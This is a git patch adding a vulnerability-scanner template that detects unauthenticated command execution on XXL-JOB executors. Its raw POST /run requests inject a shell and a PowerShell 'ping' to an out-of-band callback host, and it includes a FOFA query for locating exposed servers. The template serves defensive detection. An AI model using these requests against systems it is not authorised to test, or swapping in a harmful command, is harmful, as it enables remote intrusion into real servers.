From 696452c4309c116208fcc70800dba32245b4c57f Mon Sep 17 00:00:00 2001
From: pussycat0x <65701233+pussycat0x@users.noreply.github.com>
Date: Fri, 17 Nov 2023 13:14:01 +0530
Subject: [PATCH] XXL-JOB executor - Unauthorized Access

---
 .../other/xxljob-executor-unauth.yaml         | 78 +++++++++++++++++++
 1 file changed, 78 insertions(+)
 create mode 100644 http/vulnerabilities/other/xxljob-executor-unauth.yaml

diff --git a/http/vulnerabilities/other/xxljob-executor-unauth.yaml b/http/vulnerabilities/other/xxljob-executor-unauth.yaml
new file mode 100644
index 0000000000..45204fa786
--- /dev/null
+++ b/http/vulnerabilities/other/xxljob-executor-unauth.yaml
@@ -0,0 +1,78 @@
+id: xxljob-executor-unauth
+
+info:
+  name: XXL-JOB executor - Unauthorized Access
+  author: k3rwin
+  severity: critical
+  description: |
+    XXL-JOB is a distributed task scheduling platform. Its core design goals are rapid development, easy learning, lightweight, and easy expansion. The source code is now open and connected to the online product lines of many companies, ready to use out of the box. XXL-JOB is divided into two ends: admin and executor. The former is the background management page, and the latter is the client for task execution. The executor is not configured with authentication by default, and unauthorized attackers can execute arbitrary commands through the RESTful API.
+  reference:
+    - https://github.com/jas502n/xxl-job/blob/main/README.md
+    - https://github.com/vulhub/vulhub/blob/master/xxl-job/unacc/README.md
+  metadata:
+    verified: true
+    fofa-query: app="XXL-JOB"
+  tags: xxljob,unauth,misconfig,rce
+
+http:
+  - raw:
+      - |
+        POST /run HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+        Xxl-Job-Access-Token: default_token
+        Content-Length: 396
+
+        {
+          "jobId": {{rand_int(1000)}},
+          "executorHandler": "demoJobHandler",
+          "executorParams": "demoJobHandler",
+          "executorBlockStrategy": "COVER_EARLY",
+          "executorTimeout": 0,
+          "logId": 1,
+          "logDateTime": 1586629003729,
+          "glueType": "GLUE_SHELL",
+          "glueSource": "ping {{interactsh-url}}",
+          "glueUpdatetime": 1586699003758,
+          "broadcastIndex": 0,
+          "broadcastTotal": 0
+        }
+
+      - |
+        POST /run HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+        Xxl-Job-Access-Token: default_token
+        Content-Length: 396
+
+        {
+          "jobId": {{rand_int(1000)}},
+          "executorHandler": "demoJobHandler",
+          "executorParams": "demoJobHandler",
+          "executorBlockStrategy": "COVER_EARLY",
+          "executorTimeout": 0,
+          "logId": 1,
+          "logDateTime": 1586629003729,
+          "glueType": "GLUE_POWERSHELL",
+          "glueSource": "ping {{interactsh-url}}",
+          "glueUpdatetime": 1586699003758,
+          "broadcastIndex": 0,
+          "broadcastTotal": 0
+        }
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '{"code":200}'
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
\ No newline at end of file